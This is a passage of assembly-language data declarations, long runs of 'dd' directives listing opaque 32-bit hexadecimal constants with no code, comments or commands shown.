0C89B6089h, 866B427Ah, 26E2F407h, 5F902D3Fh dd 0DD98EE25h, 2391EAF8h, 0D4CEDBE9h, 7A7F4806h, 0F92B8AE6h dd 0F0777F92h, 0CF958C21h, 9E0DBE54h, 958F56F9h, 0C429A2D4h dd 2B8DB013h, 71A17BAEh, 0B32AB857h, 0A3471660h, 0FB2099CFh dd 7B33D6C1h, 86991ADEh, 0A7F0C569h, 7CB4F083h, 0FF519A1Ch dd 761527F0h, 1A54F19Ch, 72A291C3h, 87E81218h, 2DE5AB13h dd 0DB134401h, 26F7D3D4h, 29BC6988h, 65BE7FE0h, 727217F7h dd 6F831F51h, 0C3EF77D7h, 5C23DAEBh, 12BF7D84h, 8221CE62h dd 724591D2h, 0B54E1AB7h, 59A8757Ch, 0E69CF2Fh, 0DE8E4D98h dd 134B88DFh, 0D314FB1Fh, 0B705FFE0h, 1F0ADBBEh, 6EFEB09h dd 33CC8FA7h, 0B575782Eh, 2E701183h, 9A756C77h, 32B96570h dd 381411C2h, 0D95329D8h, 925C8991h, 0A518A8A6h, 494A33FEh dd 0DB2D23B5h, 0B9F0A40Bh, 5DC46030h, 0EF3BD8C2h, 6923A3D7h dd 0BEA53369h, 3EC6C2B5h, 9590A5A4h, 2D70C5F1h, 4A16F01Bh dd 3A815E92h, 0A3294354h, 9DCB06C8h, 19BA7249h, 572112A0h dd 57532E10h, 5AE3F024h, 0C1E49277h, 0C7A68B15h, 0A2D4D78Eh dd 185007D9h, 110876B9h, 0D1BB5DE4h, 5316731Dh, 0B659FEC1h dd 0DA106784h, 180F4664h, 0B8B42FB4h, 0E34D79D5h, 84DE71BDh dd 0A167A46Bh, 0E70DB1C4h, 4066954Bh, 4359AC7Bh, 0F4EA7DC1h dd 4C46F6A3h, 0D12DEC0Fh, 0D0905572h, 97B76A6Eh, 5EC7805Eh dd 483FC4Bh, 10A6EED6h, 6B8EFDBDh, 3D56FB6Ch, 0FF40AF6h dd 0D6AE0087h, 0F9B53B8Ch, 8E3B9ADCh, 777E178Bh, 0FDBDF2EDh dd 2216FF7Eh, 0D5CF1A7Bh, 0ACCB4A18h, 0B4E0D3D5h, 0B703F575h dd 47953931h, 657BD8A2h, 7668EB51h, 18387CBFh, 0B1928C78h dd 993E6D14h, 0DAD6F58h, 38F18F45h, 1A7D1C28h, 0F08ACFD0h dd 2F0FA9DAh, 933F004Bh, 79CD864Bh, 0C1C3FE11h, 44296EE1h dd 4612C084h, 63566668h, 990ADD87h, 5F08A69Eh, 49E6A8D6h dd 2CBE020Bh, 0D13CC6F7h, 1A9BEA64h, 0F7B61BADh, 94CC35E6h dd 8564671Dh, 0C713AF7h, 1986FC8Dh, 0DE260C3Dh, 0AC21E454h dd 0CFAFC28Bh, 51466C03h, 42B7B835h, 0A2E87C56h, 6ACB3289h dd 0D333BF5Ah, 3A26998Ch, 0C01895A2h, 34438C9Ch, 0D83D1B31h dd 0EC4E5C69h, 2112951Dh, 0E231E6B6h, 3CA3A387h, 0C5D7D76Ah dd 0DB94D29Ch, 7A249081h, 40F7806Eh, 0ED83B2FAh, 7FA23DBBh dd 7CCF0157h, 801E9391h, 124AB9F9h, 6C74CF24h, 25E439EFh dd 94315455h, 0A2045632h, 347E00B8h, 884B3ABFh, 0B0F4F7DCh dd 0C89359CBh, 24AEE6E6h, 8C22B69h, 0B88630B3h, 491EF8A3h dd 0B8012C0Bh, 4DB0A2CEh, 0D98036E0h, 546EE8E1h, 0E4F0957Ah dd 42B3E29Ch, 91600805h, 0A29186D1h, 3F152C6Dh, 40F39A8Fh dd 197231E4h, 9E683882h, 45BE9A5Fh, 825CB9A3h, 6C638443h dd 70AFC835h, 4A9B3A73h, 0BD62928Eh, 0DD77B4E1h, 0B3CCCC9Bh dd 0D1C904EAh, 828BC6ABh, 9D88CAE0h, 7CD99DFCh, 724BBE51h dd 0D81E6A5Bh, 0BC844F9Eh, 5D1E9CF8h, 0DCEB219Eh, 73500881h dd 0E7A86752h, 34F1539Eh, 14A39195h, 160B2901h, 6952E1F2h dd 0E0AAF322h, 50E7D16Fh, 0DFFED093h, 0DEBEA9EAh, 0BDBFC005h dd 7AFEAC75h, 3E1ECCBBh, 47C2173Dh, 0DFB81C3Fh, 45E0A98Bh dd 58CD303Dh, 0B7BC3E89h, 0BFE915FFh, 7410EA05h, 0D1921FEBh dd 8FAB86B7h, 9BA99E3Eh, 3597AB5h, 608F55C2h, 0F4C7CA49h dd 7957D936h, 6C79501Ah, 150BF84Dh, 0E7603EA9h, 210BA062h dd 0CE8F60C9h, 73E49059h, 25D3D6CBh, 60902E2Dh, 74DE695Dh dd 5471D5C4h, 4ADB39C6h, 4E64F340h, 0A0AA0EB2h, 9A959146h dd 730097FEh, 0EECE6DC1h, 32C18C34h, 96A20C8h, 0EF68239Fh dd 0F3BD191h, 2CE94458h, 33B69B99h, 1A459ED4h, 7762D682h dd 0FC3EA269h, 0AA389D74h dd 6B290BD5h, 0D1C0555h, 0FE4EF19Dh, 48939BFh, 1B4AF8DAh dd 5FF0C836h, 0FAB683F2h, 0DDAE62B1h, 9531AB5Ch, 67BFA48Fh dd 74A3F198h, 9D58DBF2h, 5644E90Ch, 42029BC4h, 0E36CD5EEh dd 0AC658556h, 0BCC7C4EEh, 6627AEACh, 683E9B85h, 8D51FC31h dd 0AB62B9D8h, 4A9779F0h, 0F40CBF25h, 6296C81Dh, 4A290D97h dd 7350B89Ah, 0FCB413B5h, 357033Fh, 58703B4Dh, 4B72B230h dd 0EAF2E7A4h, 8827D5Bh, 8875DE02h, 6D150E7Eh, 0FCEB4EE0h dd 6B581B8Fh, 64FB281Dh, 5682E257h, 6FC98407h, 3112016h dd 0EA8CA839h, 0F00A5DD6h, 0BD321ED2h, 0E338EE08h, 51C2A40Ah dd 0DDFA5173h, 533CE08Dh, 5725C10Ch, 2A5A74E6h, 40DB4289h dd 58AB581h, 73621EACh, 0FEEE3ACAh, 7C39F2CFh, 1DE48CCAh dd 0A6977B92h, 8A9E2F4Eh, 0F1B036FEh, 7A841D12h, 0E45616B7h dd 5F57BD29h, 2E2851CDh, 837259E5h, 0AC49E0B3h, 1EB0DD68h dd 0B60581B2h, 3E2BC7A5h, 0C4EFF4CCh, 0C91CDBF6h, 73EEA7B1h dd 7DD262AFh, 82816B9Ah, 1C24E727h, 0C663E1D3h, 0A6B410E3h dd 8BC1D23Bh, 182F83D0h, 4E506F18h, 1C64D3BAh, 20C79253h dd 0C373320Fh, 55258EEFh, 0A6DD9A3Dh, 5F237FEAh, 3D6B9DA6h dd 0F2D20F8Eh, 619935F3h, 6C56C2B7h, 7C87F237h, 0ADAA8BA1h dd 0AB1A7CEh, 0BA45B9E9h, 73148627h, 0D37FD74h, 0D2E01B79h dd 0F939FEEFh, 0C00EF2F3h, 2FF316Dh, 855E14ACh, 0B968C0FDh dd 3F0F6C40h, 9284D1FBh, 0DA238717h, 0AA81D4B8h, 695C9E88h dd 63038236h, 11BC1DB8h, 15FCDC48h, 0E078283Fh, 80C676B1h dd 0A6AD11C0h, 0C8447A07h, 0CEC5A322h, 8AA6F961h, 10CDB9C2h dd 9A5A6DD2h, 0E8B21C2Ah, 0F2ABBC9h, 7BAF479Ch, 1855EA80h dd 124182E3h, 199410A8h, 0B86CFF79h, 56BECF02h, 9AA67D76h dd 0CF4B43E1h, 0BC0DA6F8h, 796A2932h, 873BF290h, 0DFE6FDA2h dd 87C3718Ah, 2110A54h, 5FC0162Bh, 80F0C786h, 2436ADC5h dd 0BCA5BA3Fh, 0D1DD0B50h, 82C9E97Ah, 8C141184h, 70DD0A58h dd 0B7E39B50h, 5CA88271h, 449B4AD0h, 93357368h, 0A87069E1h dd 496A6055h, 9D0BC76h, 192319h, 0FD269DBEh, 35411D12h dd 61F5B851h, 0CB4030ABh, 0CF0FD14Ch, 8A386460h, 0B38F96CEh dd 6E5497E5h, 27C00381h, 0C608E2h, 0BE4881CDh, 0B3B96247h dd 8B8B5446h, 8BC0EA92h, 0EB218363h, 9BD03B93h, 23026D13h dd 977D85F1h, 0F4CB4323h, 0D021A1FDh, 7E1FCB76h, 2022C1B8h dd 2BF31409h, 8B0CD8B5h, 1FAEFAC7h, 24FD138Fh, 1709BDF8h dd 0AA3FF122h, 2E3AC7CDh, 960B6AAEh, 29429170h, 0D0C32976h dd 0A9B9D772h, 0D470CCEEh, 0BEE936CFh, 0AA9E5AB6h, 11D3FA6Dh dd 654B23CBh, 0DBFA9D0Eh, 249D20B9h, 1FABF677h, 99D2E61h dd 0AF1DF695h, 9083921Dh, 98C8E18h, 69CC376Ah, 9D649B9Dh dd 0D46FAC13h, 0CD7AD450h, 0B77D7F9h, 0BDB33636h, 59C7CB6Dh dd 0D5581C69h, 1D21999Dh, 0ACB01BCCh, 0A0F58CA7h, 6B746BE2h dd 0BFE0650Dh, 16C524EBh, 0ECA01C7Fh, 657A419Ch, 0D3C7A5E0h dd 26AB82EAh, 2C00594Dh, 0E5817E0Ah, 0CEB06B07h, 0FD08B1CAh dd 3E026F1Dh, 3661C3E8h, 0EEEC2FE8h, 0E6E827A1h, 1BCE7BF6h dd 7C0EE420h, 84069F99h, 9A493925h, 6D8AD0D9h, 84D33DA2h dd 21ABA096h, 562BE5F5h, 28B627AEh, 0BFEC45F0h, 0D8DE77B6h dd 8D8ADA90h, 1F62E4D9h, 70BAE180h, 2F855E1Bh, 641D2353h dd 18568532h, 7CCE4FCBh, 0E68D6DDDh, 0DC8F4F77h, 964600C3h dd 1C1E46Eh, 0D033CDEEh, 27073218h, 0F0E71F2Fh, 0F18B3F5Dh dd 488D8D04h, 978B0C2Ah, 4C407F6Bh, 0BEB2A29Ah, 6E61AD5Eh dd 775DB779h, 0CDB31E94h, 3247A9FFh, 0DA60067Eh, 8174B189h dd 95E7BBDFh, 0C1F51834h, 0ADA88FFDh, 0D22886A8h, 50E2B414h dd 7A914CC3h, 0BEE6B655h, 220AF7AEh, 760FADCBh, 23358475h dd 4A759948h, 0FBCD446Fh, 0D9FEAFA9h, 0E6B16507h, 628B58Dh dd 0ED1EF41Ah, 2E33F2AEh, 0C6F52EE3h, 174B3223h, 5B0D5C00h dd 6C555CA9h, 76CB3AFAh, 94E78C9h, 7ADBADE1h, 614C8356h dd 211689F5h, 513A72ABh, 62058E8Fh, 49943B97h, 0C3D4DB61h dd 0F2404F94h, 8F12462h, 86832012h, 0BDB1BA74h, 9FEF2DEBh dd 0FB399B72h, 6E6B7B16h, 5F864FB6h, 0B69D60C1h, 84AE1627h dd 0F97D5354h, 4B4CABBCh, 84192135h, 0B08DF835h, 2976A5B5h dd 3732DF66h, 0EB6244Ch, 0C71E0B9Dh, 0F5021811h, 73D6424Bh dd 89092287h, 4E1EF1F6h, 0E67CE6CEh, 0D2E1957Fh, 639EE285h dd 43AF406Fh, 4D2B8657h, 95D4F876h, 0CBBAEA64h, 9B0201ACh dd 2CCFBA73h, 0D193FE44h, 4AA8456Ah, 0B4620CFFh, 9BAAD566h dd 1A07D0EBh, 0B8E591BBh, 0C737AB4h, 78A77D88h, 6E6E7084h dd 1A838CB7h, 0A299952Fh, 54ED83FBh, 0ACC99E45h, 7F25592Dh dd 0A48DBE4Ch, 0FD280802h, 6317E6Ch, 8345E6FCh, 0A94BE4A5h dd 0E2484C66h, 0A18B1D60h, 6BDD10E1h, 55786330h, 274994A1h dd 0EBC27E32h, 6130257Ch, 91830DE3h, 14304F1Ah, 8C6F3CA7h dd 3514D646h, 1128C7E1h, 0C47AD52Ah, 0E9F96280h, 0BEE798CFh dd 3C8D64BAh, 0D643D8ECh, 97E17862h, 0BD0DAF8Eh, 70811B2Eh dd 0C20816E8h, 0E6C46A5Dh, 4C1FE281h, 393EF972h, 0E96070Fh dd 7CEDB687h, 53A77E5Dh, 4A0E907Ch, 3BC820A4h, 18CD3E86h dd 0B1D497D5h, 0F712004Eh, 0CF6167Bh, 672828BDh, 98F185FDh dd 485C0ECh, 3887FA18h, 0D64BE0E8h, 0FFDE4EBDh, 3F9F5593h dd 29793777h, 64BB061Dh, 2C94F145h, 88A75AF4h, 84C1D6EEh dd 0D68ED5DDh, 5B7603BFh, 0CE25351h, 0C9D1D238h, 430241C7h dd 8B235ABCh, 7AEC620Eh, 0B1A7442Dh, 5001B15h, 8207F1B7h dd 85EDD24Ch, 0D8803113h, 0B8B647FAh, 976B98EFh, 856651C6h dd 382D82A7h, 0BC05907Dh, 0E1BE487h, 957C0A49h, 5D887A6Eh dd 56C5E896h, 63C565D6h, 0C6438EA4h, 75EEC4BBh, 0EEA07546h dd 0A5F0BAC8h, 0E56FCDEEh, 0A7400E8h, 46F605A0h, 11EC5658h dd 0F2EF7230h, 0CAB461B8h, 0BDC2898Ah, 0B56FDDA9h, 87C09F83h dd 0C2EF6DA8h, 0E2A5368Ah, 0F2C88B33h, 0B843BA52h, 0A4A58852h dd 8C04A70Ch, 0AC37C4C8h, 291A0BA7h, 0EA07CE7h, 77134F57h dd 1F9D580Fh, 0FCF2EA29h, 0EA943AB7h, 5AA96875h, 6DFFF7B6h dd 0B0FDDBBAh, 0A233BE37h, 0D14BEDDh, 5B6C1365h, 0D2C1FA31h dd 0AD89174Bh, 0E9DE70E9h, 0F41B5721h, 9D6EC9B1h, 4BEC6799h dd 6BB3FDCDh, 0CA0B8D44h, 735170A8h, 23F30ED6h, 9CDAE61Fh dd 4035E898h, 0D5194EC0h, 0F108D6D8h, 0F9DB329Dh, 0F873007Dh dd 12118C04h, 0B8FB4596h, 809A59E5h, 1FEFE14Ah, 8BBC946Bh dd 6CD28708h, 6A430876h, 0A230E36Eh, 489667A9h, 0CD301B52h dd 5495C458h, 0FD2B3BD1h, 2CFE3518h, 0D505AB3Bh, 0F38534B0h dd 9607ED5h, 9DF5547h, 51359476h, 0B1E1A130h, 76621596h dd 0B13F6EFh, 97D3DEBFh, 4E44FEFBh, 50A139F9h, 0A48FAC0Ch dd 0D9CFEB7h, 4AC13DA4h, 27DF7111h, 0DB908E58h, 0E52A0EB4h dd 20120D55h, 5F06249Dh, 0B7E87763h, 0B794E25h, 6FDB6244h dd 28C31F79h, 6306A814h, 34C326E4h, 8B367F4Ah, 3DE51141h dd 873BAEh, 16D31C50h, 0F1268F91h, 0B78ED400h, 66622E34h dd 83802118h, 0CE0DAD2Dh, 0AD4E07D5h, 67408877h, 7851F790h dd 74EAF509h, 2362FEFFh, 0D4E39020h, 600DB98Ch, 403095E7h dd 4AE82059h, 0F9216F14h, 37B2958h, 0E9BC71DEh, 9A947A6Bh dd 5B3AD99Fh, 0C27EDFBh dd 87B74713h, 0D00B05A5h, 47BF8C1Bh, 652F3FE5h, 55A6A491h dd 48660358h, 6F882D08h, 15BDDCB7h, 0A090D3B1h, 0E2F18182h dd 0A8B1C61Ah, 32CF4469h, 5DE6C6ECh, 902A6666h, 19DA99Eh dd 6483A819h, 7D02FB45h, 47F987FDh, 6981C2E4h, 7F5AE18Dh dd 8F31FA37h, 26821AB7h, 31D591E3h, 7951E41Ah, 538D40C4h dd 99DD9CB9h, 79A1A33Dh, 0F09D7B82h, 4787082h, 0AF519FA5h dd 0A4452046h, 7BA8D65Bh, 0EA2A4A0Fh, 0BC042B03h, 0C78E077Dh dd 551F9BAEh, 2F362BD3h, 222841F4h, 99A6590Ch, 0AEC26EC6h dd 57A31360h, 10BD56A8h, 2984A70Eh, 0D4A7637Ch, 0A3DFA78h dd 6025FC42h, 5DAF6476h, 7E64EF78h, 2094D34Eh, 72DDC010h dd 0A216DAAFh, 63491D2Bh, 89C404D2h, 4B417F9Ch, 6E1C527Eh dd 336BA89Dh, 0FAC650D9h, 8D14E48Dh, 2B017A3Ah, 46C7A72h dd 0F970FD74h, 0BB84DC71h, 0C26201FEh, 8F1F8DFBh, 7E3195D7h dd 40385FBAh, 0E23A4CBDh, 13D975E3h, 5B6B9B94h, 4A32C672h dd 0DAB269DFh, 3798B0F9h, 49B96683h, 0CA621566h, 0F718A5C0h dd 0F1CE541Ah, 83ACEDEh, 5D530146h, 176C66EBh, 1834A381h dd 0CC5A5A95h, 0BDEBC601h, 5B6F6518h, 4EF3DE03h, 672354AFh dd 0E33794A5h, 0F3FCB7E3h, 755396ABh, 145E24E9h, 7810E29Eh dd 10CDE6C8h, 17061B3Ch, 6DF0D5DEh, 69DABC8Bh, 0F1F68E43h dd 19685E45h, 0BB33B990h, 52C8B80Dh, 0E56301F3h, 0CA9D0112h dd 94BB1320h, 0DED74CF2h, 0DE246C00h, 1DAA4B3Eh, 0E237525Dh dd 0E400F009h, 78BB5ED2h, 1CA07EFDh, 0EDA9BC8h, 658D6A63h dd 0EDBB14DFh, 0C590C9ACh, 13203DACh, 0B43288B7h, 0DCEC7B0Fh dd 18D9F60Dh, 5A1A4FB6h, 6983F3B6h, 17232967h, 5CB735E0h dd 84FE7AA0h, 0EDF17F4Eh, 8E16F548h, 61F82B0Dh, 0DFD219ECh dd 0B05FCA2h, 0C4F9B333h, 0FEC39527h, 0C1AEE7C1h, 6DF2906Dh dd 0E35C11FBh, 539E174Dh, 9F530959h, 2366752Ah, 0A7F59577h dd 0AEF1533Fh, 0EC499F57h, 0EE696547h, 0C5125942h, 4155D15Eh dd 0F6F299Fh, 555CDF0Ch, 41E4ECADh, 5D84E8D2h, 4F9F01E8h dd 0DDCBDD51h, 0C7E860D4h, 97C7F445h, 0CA8C9E71h, 0E5BCF6ABh dd 9D774CABh, 9EE435F3h, 487EF1FBh, 5F95C747h, 0C2687B3Ch dd 80BB75D3h, 6A83DB48h, 810D8401h, 0C38E8D0Eh, 78D1E527h dd 0DBEC9897h, 0B8443D40h, 0B372C0C8h, 8F7839CCh, 1A5167A3h dd 8ACB8F04h, 0D6E901DAh, 0B267C0F8h, 1A074E8Bh, 6C85E6AAh dd 5E4ACE3Ch, 0CAFD5F93h, 1B12F213h, 4EE7DACBh, 0E09A4DA2h dd 0BA42D60Dh, 5E5DB3AEh, 467A6542h, 7F83F8AEh, 2485F4D2h dd 0BAD8D4CFh, 0BA54DD20h, 1E8ACF8Ch, 0E7A07AB7h, 82BD3B76h dd 359AF3FAh, 0CBD13066h, 0E0C96350h, 3B6A248Ch, 4E440B13h dd 0D24EE6A9h, 0B6309338h, 0C6C524D7h, 8F83C5B4h, 6A16BF4Ah dd 18A016FAh, 0C555F456h, 15E76952h, 751E51FAh, 0E7759459h dd 7842F9BDh, 0AD19A7BCh, 0EDD5D875h, 92EB5B28h, 0B5A530E3h dd 3C272C09h, 0EB36B64Dh, 0BE894EA3h, 6163FB30h, 68057792h dd 0A15315D1h, 3049F611h, 1E13811Fh, 0E0603521h, 0F33D4CDBh dd 0C83D03D5h, 315BCB54h, 29B876AFh, 893DAE87h, 901109Bh dd 0FC48B158h, 0CEAFB317h, 0B8ED1644h, 0BA4FD425h, 4C1F4F9Fh dd 5F1AD9Ch, 208EEFECh, 5BC22D0Ch, 12D86D7Ah, 0E6392508h dd 0F0970CBCh, 5C98A25Fh, 122C9541h, 673206E9h, 3FA4F4B2h dd 83E31D0Bh, 693C8ED5h, 0DFDAEE24h, 0A13D5EDFh, 279C18D5h dd 17694DEBh, 0E6F22F92h, 2F447C73h, 5EAB1BB3h, 0B3BA68B1h dd 0D4505541h, 0F12ABF14h, 608B4C42h, 6823B4C0h, 457CE47Ah dd 7F38B83Dh, 5DE07CC9h, 0BE588966h, 0AA2B7764h, 0B479CC0Eh dd 0B1DE54D4h, 0E9FEFFB9h, 8F379259h, 7950266Dh, 166E5B64h dd 774B33B9h, 0B5355385h, 90991C3h, 8C1C611Ah, 475A3795h dd 8411A46Bh, 0E7AA9040h, 0A2F26D93h, 0C7D8CDB8h, 0C0F254EDh dd 0FEC3EB1Fh, 0EFC3AFE3h, 0BB7F7564h, 65B8D691h, 0EC1519DDh dd 637C8AE0h, 0E5D14B5Eh, 4B18D981h, 3B4059F5h, 0AABAB9F5h dd 0E2C796BAh, 0CA84B623h, 5B671219h, 6C09763Bh, 0D22F3447h dd 0BAAADA2Ah, 9DE11087h, 0F8F3F641h, 16DBA3DEh, 5BB88837h dd 0D5B08EE8h, 0D7996B33h, 4F16658Dh, 12EA10B7h, 5AFFA754h dd 0F106CFA6h, 0BADA03D8h, 1DF733A3h, 906E66D1h, 0EB2875FEh dd 1C8FDE68h, 6F8537E1h, 2D8BFA3h, 5B783C80h, 9B50D2F2h dd 0DE327A5Fh, 0C253F9A0h, 9F314F58h, 0ADEFD6DDh, 93E14543h dd 288349D9h, 0DFC23D2Ch, 52CD1D98h, 4EC5D5F9h, 0D55512A6h dd 87308D1Bh, 2DF1D8A0h, 9AF9C258h, 3D4DE54Fh, 6EA9FD50h dd 0AD01EAB6h, 0C761BB0Fh, 0FC674176h, 43D57FB9h, 57B22F6Ah dd 0ADFD5F73h, 0CC0FDB55h, 8CD2957Dh, 57F2B028h, 83EEE3FEh dd 8BBE97DEh, 0ED5F37Eh, 0F0801766h, 0EC482603h, 9F6012BBh dd 0E5F92BB7h, 31CE0519h, 0C0B035A3h, 338B6F14h, 0E73FB97Eh dd 66C97E15h, 8260CDF9h, 550CA40h, 2BC4BD9Bh, 0F66C50B5h dd 9235B200h, 9E518520h, 0FF7F18E5h, 25A9227Bh, 39130C71h dd 1B448973h, 0F39E9B33h, 0F8E71D45h, 4010D76Eh, 0E3131807h dd 6060C744h, 4FE0BF38h, 15D4CEA9h, 8336B8Dh, 0FDEC12C2h dd 9C22D3F1h, 0D0CC6088h, 80119A92h, 9B3C7718h, 0C358E5Fh dd 0E803AD72h, 4BA490AFh, 0DA3E6983h, 0B82433F3h, 64CAB946h dd 0FA6C3E7h, 0D61E9C71h, 95FD10h, 0FAE3061Fh, 3CFC9D1Eh dd 6E7DC98Ch, 0BCF9E1B9h, 0C96B4D31h, 8A469B3Ch, 0D8957F06h dd 5D1573BCh, 0D5BACD45h, 26C3DE94h, 42FD6346h, 261EA615h dd 49DE5189h, 0ACA25DE4h, 17C0DEF1h, 21FED0D9h, 284536C6h dd 683A04F5h, 0EBB7D036h, 42C516FFh, 0BE7CED6Bh, 0B45CD6A4h dd 3DECB52Ch, 9588E3C2h, 718A57D1h, 54DEB8DEh, 9C087753h dd 294D9CD6h, 5A7063DDh, 0A3C7F71Bh, 1955A91h, 411FA91Fh dd 0B462A5D0h, 42307403h, 0A32CC04Eh, 7950EF9Eh, 0B069A3B4h dd 9DA8FC0Fh, 41B50AD8h, 7883AD5h, 17DB158Fh, 6052C2EBh dd 0D929F9F1h, 7232C019h, 0FA22E033h, 0BDBE3DEEh, 5B0A170Fh dd 0EFCAF4AAh, 0AA57CD1Ch, 5A1D090Ch, 0E051CE6h, 2ED52C59h dd 87F64A6Fh, 4AF5BB2Bh, 0CDB63637h, 81C7FDB7h, 0DB507BBBh dd 6C67F6F0h, 1E2951F2h, 1790B85Ah, 2E483CFEh, 0F00F6681h dd 0A399931Bh, 69B2EFC1h, 0C0378546h, 6DC163E8h, 7C31AA59h dd 301FAED6h, 67DCF656h, 6FC555A6h, 6B9E3672h, 522C60h dd 0CF15839h, 362E4046h, 4569F72Ch, 0DE15C1BDh, 0E78DE330h dd 0F7CC7CA6h, 0FF541CE8h, 3F8671D9h, 523B107Dh, 0C6B5CFE2h dd 7CBB1309h, 0DEC2B95Dh, 85FD621Bh, 142D90C2h, 0EC159675h dd 0C0277514h, 6CF2AB74h, 76CC02BEh, 0E40DD2ECh, 88A0C8EDh dd 46F5CC9Dh, 8895B086h, 6C9FC444h, 913ADC53h, 0C2E38E9Ah dd 0ECC2FFF0h, 49B78371h, 3C43042h, 231B2900h, 45130A02h dd 0B70AB597h, 61CE832Dh, 76793A58h, 0C8DF137Ah, 4CB4ADDFh dd 6AE2F6E5h, 41828B36h, 4914CF7Fh, 0D03A160Ah, 0DEF07EC1h dd 0F510B3C3h, 8E51D7C1h, 1DB6E319h, 6F693E34h, 1055A2EBh dd 779DE748h, 0E14FC285h, 58F1A53Dh, 0D33BE490h, 0D62E0BFBh dd 8A35DB27h, 0E0EAD6FAh, 73BCBD99h, 76C5BD5Fh, 27EFE16Fh dd 3F0CE208h, 49F21EADh, 0EE0C8D73h, 6DC1E1C8h, 2839C7F9h dd 83ABCA60h, 7B9C92E6h, 27A840FCh, 3B8F53BDh, 0D82EAC73h dd 8DC01AE3h, 56BA52B5h dd 72150CDh, 0F6C25423h, 11A00FFCh, 7ACB9AC9h, 2DEB47A8h dd 0BF85C83Ah, 2DEB947h, 191CE256h, 19A68981h, 3D25969h dd 6567B794h, 6B77AFEAh, 0AF02015Bh, 0ED8F1C59h, 0B3B66606h dd 69F89A72h, 9470DD89h, 5D2EA5C5h, 654EFE5Eh, 0CBF6D6D3h dd 625FAD7Dh, 0C8352DCEh, 0ED1C18E6h, 28CCC0C6h, 0CA4B32DCh dd 4FA95B5Bh, 0B7EAE08Ch, 0D5FF8D1Ah, 0BA85CD11h, 730280A5h dd 0C7619CD0h, 5D493A0Eh, 293C470Bh, 92B0ACDh, 0BF595779h dd 0D2B020B7h, 1F0D8D62h, 0F0A4B1BDh, 3434B5Fh, 0F8FCF285h dd 2C52A5B7h, 8E7DF56Eh, 0F7F075Bh, 7B5A05D6h, 28807235h dd 7A6C5A7h, 0BCD252ECh, 124B4B95h, 17FDD348h, 113466EDh dd 23164924h, 1FA789E6h, 3A07107Ch, 1A4DABCFh, 61A16CEDh dd 47C72D70h, 1837C774h, 15D4F372h, 51A5D4BAh, 5A80BA7Ah dd 708FC818h, 0D16A74E8h, 0DBC979EFh, 0D025E04h, 5792591Ch dd 8A378CEFh, 6CB65236h, 0F920C25Ah, 0DE27A416h, 64523638h dd 54E8621Fh, 4A071C80h, 71A96D2Ah, 0AB3D690h, 793D5F3Bh dd 0AB48B973h, 8323D511h, 95444964h, 70B01701h, 0B38BDE6Bh dd 32F0D2E0h, 0B0582F97h, 7664A5Fh, 0FB1C3830h, 495512FAh dd 277DE2F2h, 6D65FEC8h, 0ACEA2AF0h, 9957C2FEh, 5F0AB2C8h dd 47BC063h, 2E5B8504h, 67FBD8A8h, 3B2D8299h, 5BFCB8B1h dd 8DD424EBh, 1AC231F0h, 7464F77Dh, 0BAB87652h, 0F9D3499Ch dd 7130A2DBh, 0DE5CF5C3h, 797D38D7h, 14A59DB7h, 0C1C95DE4h dd 0E22888DCh, 91ADBAF1h, 0F556A289h, 52911027h, 35E3AF4Bh dd 0F967E334h, 61E2D2ACh, 0F1DDDFBCh, 2CE67257h, 5F22F00Ah dd 0E65EAA44h, 52C5C5CDh, 9AC14518h, 0A715F56Bh, 0E56BF945h dd 3BF38934h, 0EA27424Bh, 66972135h, 0A52BA21Bh, 0CC71B350h dd 991AA1FBh, 1CC9EBACh, 0E03B1F22h, 2636B1E8h, 157097C6h dd 0AFBF844h, 13C52C63h, 2DB7E6Ah, 4A4497A3h, 12325E33h dd 65D501D4h, 0F3AD77A4h, 84794EDBh, 684061h, 8D1D0D9Dh dd 0AA5E407h, 971C28A5h, 84E77CE7h, 369627C8h, 0C64A9E21h dd 155D8964h, 0C7C182A4h, 0F03FF504h, 0C92CB48Fh, 341963E4h dd 0BBDF5344h, 8A3C9E07h, 57574908h, 0DD52CFBFh, 0EC5B0AE3h dd 3B16AE1Ah, 5E11F6A9h, 0A45C7810h, 86A72440h, 97AE8B67h dd 6DFB0118h, 92CAD058h, 0F90C3799h, 7F7A04A5h, 0AB97DFE4h dd 57822364h, 96FA3448h, 0CE03C334h, 3E19F37Ah, 0E4DC4F0h dd 81880209h, 0DD6ED732h, 958115E3h, 0DDDD0E7Bh, 456D8DE5h dd 783BEBA4h, 0C39F3C64h, 0A3BBE52Dh, 0B27D4174h, 0F77C34Dh dd 0DD60AFAAh, 89D64089h, 3B9AEA15h, 0F40830B6h, 0B88AB917h dd 0F383E44Ch, 0F0FD4503h, 6C4012E2h, 0AD555442h, 3C8FBF5Ah dd 0E26C198Eh, 0EF2B5772h, 26B8599Bh, 0F4B83DB5h, 0E6BA18E8h dd 219F93FAh, 0B602C95h, 0DD8C9ED3h, 32B7B7CCh, 7C07AA1Dh dd 0F22B7E97h, 3220CA6Ch, 5641E51Bh, 49B4EFC2h, 0FA4DAE98h dd 805C7E2Fh, 15F938E0h, 60936776h, 0B098F738h, 9741B7F8h dd 2280C94h, 1F3F039h, 0DA4657E9h, 2EEC3D7Eh, 0B85E626Ah dd 374D0B7Fh, 1DF62699h, 56C0F951h, 184459DEh, 5AB0D12Ah dd 3B9E6AB0h, 0A94B2F5h, 199CEB27h, 2F37A56h, 11A2AE0Bh dd 4179491Dh, 6A14DF69h, 5ABC473h, 0A8DFC6C6h, 7F2EFD85h dd 4DD336EAh, 0E6E6B2EBh, 0C7D68E6Fh, 461C87A8h, 9A315C97h dd 0FABB8C9h, 0CC73ADA5h, 0EC98F5EBh, 5C918D9Fh, 87CDFDE6h dd 0CC8B260Fh, 71538874h, 46012F24h, 370DB879h, 5BA78776h dd 5D955DA6h, 8EA54E96h, 51CC5E17h, 9060C8B1h, 0D59F728Dh dd 5E624838h, 3C7419DDh, 0E2BD988h, 47AACE4h, 3ACD0A03h dd 0E8AA76C9h, 76DCBF4Eh, 6415A848h, 8A783BDFh, 0B7E8E2B3h dd 0C50F1128h, 0A3C0D79Ah, 29DE204Ah, 0EF43497Dh, 0D637BF75h dd 14D7AECAh, 1EA21F28h, 0C3EDE74Dh, 0B37A36E1h, 0F5AA75CFh dd 7C217C86h, 7B7F320Eh, 8E9479B7h, 8A9A0195h, 0AB2EF166h dd 0E80209BCh, 5899C1FBh, 0DBD6C51Bh, 4FDD2F58h, 4B71B8A5h dd 134EA305h, 0F40AFAC9h, 9E858BBh, 112D34h, 0BE8FD183h dd 388F68DEh, 18BF52EBh, 2A026B2Fh, 8A3554FCh, 0D4EB6F0Bh dd 0B2DB9F4Ch, 0D949745Dh, 